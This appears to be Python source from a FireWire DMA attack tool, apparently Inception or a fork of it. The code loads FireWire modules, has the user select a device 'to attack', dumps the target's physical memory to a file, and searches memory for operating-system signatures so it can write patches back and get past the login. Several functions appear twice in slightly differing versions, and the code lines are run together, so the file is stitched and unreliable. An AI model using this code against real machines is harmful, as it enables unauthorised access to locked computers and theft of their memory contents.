def __init__(self): ''' Constructor Initializes the bus and sets device, OUI variables ''' self._bus = Bus() try: self._bus.enable_sbp2() except IOError: answer = input('[!] FireWire modules do not seem to be loaded. Load them? [Y/n]: ').lower() if answer in ['y', '']: status = call('modprobe firewire-ohci', shell=True) if status == 0: try: self._bus.enable_sbp2() except IOError: time.sleep(2) # Give some more time self._bus.enable_sbp2() # If this fails, fail hard msg('*', 'FireWire modules loaded successfully') else: fail('Could not load FireWire modules') else: fail('FireWire modules not loaded') # Enable SBP-2 support to ensure we get DMA self._devices = self._bus.devices() self._oui = self.init_OUI() self._vendors = [] self._max_request_size = settings.PAGESIZE
def printdetails(target): # TODO: Fix this method ''' Prints details about a target ''' msg('*', 'The target module contains the following signatures:') separator() print('\tVersions:\t' + ', '.join(target['versions']).rstrip(', ')) print('\tArchitectures:\t' + ', '.join(target['architectures']).rstrip(', ')) for signature in target['signatures']: offsets = '\n\t\tOffsets:\t' for offset in signature['offsets']: offsets += hex(offset) if not offset is signature['offsets'][-1]: offsets += ', ' print(offsets) sig = '\t\tSignature:\t0x' ioffs = 0 patch = 0 poffs = 0 for chunk in signature['chunks']: diff = chunk['internaloffset'] - bytelen(chunk['chunk']) - 1 - ioffs sig += '__' * diff ioffs = chunk['internaloffset'] sig += '{0:x}'.format(chunk['chunk']) try: patch = chunk['patch'] poffs = chunk['patchoffset'] except KeyError: pass print(sig) print('\t\tPatch:\t\t{0:#x}'.format(patch)) print('\t\tPatch offset:\t{0:#x}'.format(poffs)) separator()
def init_OUI(self, filename = settings.OUICONF): '''Populates the global OUI dictionary with mappings between 24 bit vendor identifier and a text string. Called during initialization. Defaults to reading the value of module variable OUICONF. The file should have records like 08-00-8D (hex) XYVISION INC. Feed it the standard IEEE public OUI file from http://standards.ieee.org/regauth/oui/oui.txt for a more up to date listing. ''' OUI = {} try: f = open_file(filename, 'r') lines = f.readlines() f.close() regex = re.compile('(?P<id>([0-9a-fA-F]{2}-){2}[0-9a-fA-F]{2})\s+\(hex\)\s+(?P<name>.*)') for l in lines: rm = regex.match(l) if rm != None: textid = rm.groupdict()['id'] ouiid = int('0x%s%s%s' % (textid[0:2], textid[3:5], textid[6:8]), 16) OUI[ouiid] = rm.groupdict()['name'] except IOError: msg('!', 'Vendor OUI lookups will not be performed: {0}'.format(filename)) return OUI
def printdetails(target): # TODO: Fix this method ''' Prints details about a target ''' msg('*', 'The target module contains the following signatures:') separator() print('\tVersions:\t' + ', '.join(target['versions']).rstrip(', ')) print('\tArchitectures:\t' + ', '.join(target['architectures']).rstrip(', ')) for signature in target['signatures']: offsets = '\n\t\tOffsets:\t' for offset in signature['offsets']: offsets += hex(offset) if not offset is signature['offsets'][-1]: offsets += ', ' print(offsets) sig = '\t\tSignature:\t0x' ioffs = 0 patch = 0 poffs = 0 for chunk in signature['chunks']: diff = chunk['internaloffset'] - bytelen( chunk['chunk']) - 1 - ioffs sig += '__' * diff ioffs = chunk['internaloffset'] sig += '{0:x}'.format(chunk['chunk']) try: patch = chunk['patch'] poffs = chunk['patchoffset'] except KeyError: pass print(sig) print('\t\tPatch:\t\t{0:#x}'.format(patch)) print('\t\tPatch offset:\t{0:#x}'.format(poffs)) separator()
def list_targets(targets, details=False): msg('*', 'Available targets:') separator() for number, target in enumerate(targets, 1): msg(number, target['OS'] + ': ' + target['name']) if details: printdetails(target) if not details: # Avoid duplicate separator separator()
def select_device(self): ''' Present the user of the option to select what device (connected to the bus) to attack ''' if not self._vendors: self.businfo() nof_devices = len(self._vendors) if nof_devices == 1: msg('*', 'Only one device present, device auto-selected as target') return 0 else: selected = input('[!] Please select a device to attack (or type \'q\' to quit): ') try: selected = int(selected) except: if selected == 'q': sys.exit() else: msg('!', 'Invalid selection, please try again. Type \'q\' to quit') return self.select_device() if 0 < selected <= nof_devices: i = selected - 1 vendor = self._vendors[i] # If the target is a Mac, and we are in memdump mode with the # --override switch set, make sure we don't touch OS X's g-spot if 'apple' in vendor.lower() and settings.memdump and settings.override: settings.apple_target = True msg('*', 'The target seems to be a Mac, forcing avoidance (not dumping {0:#x}-{1:#x})'.format(settings.apple_avoid[0], settings.apple_avoid[1])) return i else: msg('!', 'Please enter a selection between 1 and ' + str(nof_devices) + '. Type \'q\' to quit') return self.select_device()
def dump(start, end, path): # Make sure that the right mode is set settings.memdump = True # Initialize and lower DMA shield if not settings.filemode: fw = FireWire() starttime = time.time() device_index = fw.select_device() # Print selection msg('*', 'Selected device: {0}'.format(fw.vendors[device_index])) # Lower DMA shield or use a file as input device = None if settings.filemode: device = MemoryFile(settings.filename, settings.PAGESIZE) else: elapsed = int(time.time() - starttime) device = fw.getdevice(device_index, elapsed) requestsize = settings.max_request_size size = end - start #filename = 'memdump_{0}-{1}.bin'.format(hex(start), hex(end)) #path added for Pac4Mac filename = path file = open(filename, 'wb') msg('*', 'Dumping from {0:#x} to {1:#x}, a total of {2} MiB'.format(start, end, size/settings.MiB)) try: for i in range(start, end, requestsize): # Avoid accessing upper memory area if we are using FireWire if needtoavoid(i): data = b'\x00' * requestsize else: data = device.read(i, requestsize) file.write(data) # Print status dumped = (i - start) // settings.MiB sys.stdout.write('[*] Dumping memory, {0:>4d} MiB so far'.format(dumped)) if settings.verbose: sys.stdout.write('. Sample data read: {0}'.format(bytes2hexstr(data)[0:24])) sys.stdout.write('\r') sys.stdout.flush() file.close() print() # Filler msg('*', 'Dumped memory to file {0}'.format(filename)) device.close() except KeyboardInterrupt: file.close() print() msg('*', 'Dumped memory to file {0}'.format(filename)) raise KeyboardInterrupt
def businfo(self): ''' Prints all available information of the devices connected to the FireWire bus, looks up missing vendor names & populates the internal vendor list ''' if not self._devices: fail('No FireWire devices detected on the bus') msg('*', 'FireWire devices on the bus (names may appear blank):') separator() for n, device in enumerate(self._devices, 1): vid = device.vendor_id vendorname = device.vendor_name.decode(settings.encoding) # Resolve if name not given by device vendor ID if not vendorname: vendorname = self.resolve_oui(vid) self._vendors.append(vendorname) pid = device.product_id productname = device.product_name.decode(settings.encoding) msg(n, 'Vendor (ID): {0} ({1:#x}) | Product (ID): {2} ({3:#x})'.format(vendorname, vid, productname, pid)) separator()
def patch(device, address, chunks): ''' Writes back to the device at address, using the patches in the signature chunks ''' success = True for c in chunks: patch = c['patch'] if not patch: continue ioffset = c['internaloffset'] poffset = c['patchoffset'] if not poffset: poffset = 0 realaddress = address + ioffset + poffset if patch: device.write(realaddress, patch) read = device.read(realaddress, len(patch)) if settings.verbose: msg('*', 'Data read back: ' + bytes2hexstr(read)) if read != patch: success = False return success
def patch(device, address, chunks): ''' Writes back to the device at address, using the patches in the signature chunks ''' success = True for c in chunks: patch = c['patch'] if not patch: continue ioffset = c['internaloffset'] poffset = c['patchoffset'] if not poffset: poffset = 0 realaddress = address + ioffset + poffset if patch: device.write(realaddress, patch) read = device.read(realaddress, len(patch)) if settings.verbose: msg('*', 'Data written: 0x' + bytes2hexstr(patch)) msg('*', 'Data read: 0x' + bytes2hexstr(read)) if read != patch: success = False return success
def select_target(targets, selected=False): ''' Provides easy selection of targets. Input is a list of targets (dicts) ''' if len(targets) == 1: msg('*', 'Only one target present, auto-selected') return targets[0] if not selected: selected = input('[!] Please select target (or enter \'q\' to quit): ') nof_targets = len(targets) try: selected = int(selected) except: if selected == 'q': sys.exit() else: msg('!', 'Invalid selection, please try again. Type \'q\' to quit') return select_target(targets) if 0 < selected <= nof_targets: return targets[selected - 1] else: msg('!', 'Please enter a selection between 1 and ' + str(nof_targets) + '. Type \'q\' to quit') return select_target(targets)
def select_target(targets, selected=False): ''' Provides easy selection of targets. Input is a list of targets (dicts) ''' if len(targets) == 1: msg('*', 'Only one target present, auto-selected') return targets[0] if not selected: selected = input('[!] Please select target (or enter \'q\' to quit): ') nof_targets = len(targets) try: selected = int(selected) except: if selected == 'q': sys.exit() else: msg('!', 'Invalid selection, please try again. Type \'q\' to quit') return select_target(targets) if 0 < selected <= nof_targets: return targets[selected - 1] else: msg( '!', 'Please enter a selection between 1 and ' + str(nof_targets) + '. Type \'q\' to quit') return select_target(targets)
def attack(targets): ''' Main attack logic ''' # Initialize and lower DMA shield if not settings.filemode: try: fw = FireWire() except IOError: fail('Could not initialize FireWire. Are the modules loaded into the kernel?') start = time.time() device_index = fw.select_device() # Print selection msg('*', 'Selected device: {0}'.format(fw.vendors[device_index])) # List targets list_targets(targets) # Select target target = select_target(targets) # Print selection. If verbose, print selection with signatures msg('*', 'Selected target: ' + target['OS'] + ': ' + target['name']) if settings.verbose: printdetails(target) # Lower DMA shield or use a file as input, and set memsize device = None memsize = None if settings.filemode: device = MemoryFile(settings.filename, settings.PAGESIZE) memsize = os.path.getsize(settings.filename) else: elapsed = int(time.time() - start) device = fw.getdevice(device_index, elapsed) memsize = settings.memsize # Perform parallel search for all signatures for each OS at the known offsets msg('*', 'DMA shields should be down by now. Attacking...') address, chunks = searchanddestroy(device, target, memsize) if not address: # TODO: Fall-back sequential search? return None, None # Signature found, let's patch mask = 0xfffff000 # Mask away the lower bits to find the page number page = int((address & mask) / settings.PAGESIZE) msg('*', 'Signature found at {0:#x} (in page # {1})'.format(address, page)) if not settings.dry_run: success = patch(device, address, chunks) if success: msg('*', 'Write-back verified; patching successful') if settings.egg: sound.play('data/inception.wav') msg('*', 'BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!') else: msg('!', 'Write-back could not be verified; patching *may* have been unsuccessful') #Clean up device.close() return address, page
def attack(targets): ''' Main attack logic ''' # Initialize and lower DMA shield if not settings.filemode: try: fw = FireWire() except IOError: fail( 'Could not initialize FireWire. Are the modules loaded into the kernel?' ) start = time.time() device_index = fw.select_device() # Print selection msg('*', 'Selected device: {0}'.format(fw.vendors[device_index])) # List targets msg('*', 'Available targets:') separator() for number, target in enumerate(targets, 1): msg(number, target['OS'] + ': ' + target['name']) separator() # Select target target = select_target(targets) # Print selection. If verbose, print selection with signatures msg('*', 'Selected target: ' + target['OS'] + ': ' + target['name']) if settings.verbose: printdetails(target) # Lower DMA shield or use a file as input, and set memsize device = None memsize = None if settings.filemode: device = MemoryFile(settings.filename, settings.PAGESIZE) memsize = os.path.getsize(settings.filename) else: elapsed = int(time.time() - start) device = fw.getdevice(device_index, elapsed) memsize = settings.memsize # Perform parallel search for all signatures for each OS at the known offsets msg('*', 'DMA shields down. Attacking...') address, chunks = searchanddestroy(device, target, memsize) if not address: # TODO: Fall-back sequential search? return None, None # Signature found, let's patch mask = 0xfffff000 # Mask away the lower bits to find the page number page = int((address & mask) / settings.PAGESIZE) msg('*', 'Signature found at {0:#x} (@page # {1})'.format(address, page)) if not settings.dry_run: success = patch(device, address, chunks) if success: msg('*', 'Write-back verified; patching successful') msg('*', 'BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!') else: msg( '!', 'Write-back could not be verified; patching may have been unsuccessful.' ) #Clean up device.close() return address, page